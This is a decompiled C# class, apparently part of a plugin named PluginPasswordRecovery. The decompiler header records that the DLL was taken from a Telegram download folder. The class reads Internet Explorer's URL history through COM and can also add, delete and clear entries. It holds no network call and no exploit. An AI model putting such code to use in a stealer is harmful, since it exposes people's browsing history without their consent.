﻿// Decompiled with JetBrains decompiler
// Type: Plugin.Helper.Browsers.ExplorerUrlHistory
// Assembly: PluginPasswordRecovery, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E94068A8-BD3A-4D1E-9D36-4F12AED48A05
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\Plugins\PluginPasswordRecovery.dll

using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;


namespace Plugin.Helper.Browsers
{
	public class ExplorerUrlHistory : IDisposable
	{
		private readonly IUrlHistoryStg2 obj;
		private UrlHistoryClass urlHistory;
		private List<STATURL> _urlHistoryList;

		public ExplorerUrlHistory()
		{
			this.urlHistory = new UrlHistoryClass();
			this.obj = (IUrlHistoryStg2) this.urlHistory;
			ExplorerUrlHistory.STATURLEnumerator staturlEnumerator = new ExplorerUrlHistory.STATURLEnumerator((IEnumSTATURL) this.obj.EnumUrls);
			this._urlHistoryList = new List<STATURL>();
			List<STATURL> urlHistoryList = this._urlHistoryList;
			staturlEnumerator.GetUrlHistory((IList) urlHistoryList);
		}

		public int Count => this._urlHistoryList.Count;

		public void Dispose()
		{
			Marshal.ReleaseComObject((object) this.obj);
			this.urlHistory = (UrlHistoryClass) null;
		}

		public void AddHistoryEntry(string pocsUrl, string pocsTitle, ADDURL_FLAG dwFlags)
		{
			this.obj.AddUrl(pocsUrl, pocsTitle, dwFlags);
		}

		public bool DeleteHistoryEntry(string pocsUrl, int dwFlags)
		{
			try
			{
				this.obj.DeleteUrl(pocsUrl, dwFlags);
				return true;
			}
			catch (Exception ex)
			{
				return false;
			}
		}

		public STATURL QueryUrl(string pocsUrl, STATURL_QUERYFLAGS dwFlags)
		{
			STATURL lpSTATURL = new STATURL();
			try
			{
				this.obj.QueryUrl(pocsUrl, dwFlags, ref lpSTATURL);
				return lpSTATURL;
			}
			catch (FileNotFoundException ex)
			{
				return lpSTATURL;
			}
		}

		public void ClearHistory() => this.obj.ClearHistory();

		public ExplorerUrlHistory.STATURLEnumerator GetEnumerator()
		{
			return new ExplorerUrlHistory.STATURLEnumerator((IEnumSTATURL) this.obj.EnumUrls);
		}

		public STATURL this[int index]
		{
			get
			{
				if (index < this._urlHistoryList.Count && index >= 0)
					return this._urlHistoryList[index];
				throw new IndexOutOfRangeException();
			}
			set
			{
				if (index >= this._urlHistoryList.Count || index < 0)
					throw new IndexOutOfRangeException();
				this._urlHistoryList[index] = value;
			}
		}

		public class STATURLEnumerator
		{
			private readonly IEnumSTATURL _enumerator;
			private int _index;
			private STATURL _staturl;

			public STATURLEnumerator(IEnumSTATURL enumerator) => this._enumerator = enumerator;

			public STATURL Current => this._staturl;

			public bool MoveNext()
			{
				this._staturl = new STATURL();
				this._enumerator.Next(1, ref this._staturl, out this._index);
				return this._index != 0;
			}

			public void Skip(int celt) => this._enumerator.Skip(celt);

			public void Reset() => this._enumerator.Reset();

			public ExplorerUrlHistory.STATURLEnumerator Clone()
			{
				IEnumSTATURL ppenum;
				this._enumerator.Clone(out ppenum);
				return new ExplorerUrlHistory.STATURLEnumerator(ppenum);
			}

			public void SetFilter(string poszFilter, STATURLFLAGS dwFlags)
			{
				this._enumerator.SetFilter(poszFilter, dwFlags);
			}

			public void GetUrlHistory(IList list)
			{
				while (true)
				{
					this._staturl = new STATURL();
					this._enumerator.Next(1, ref this._staturl, out this._index);
					if (this._index != 0)
						list.Add((object) this._staturl);
					else
						break;
				}
				this._enumerator.Reset();
			}
		}
	}
}
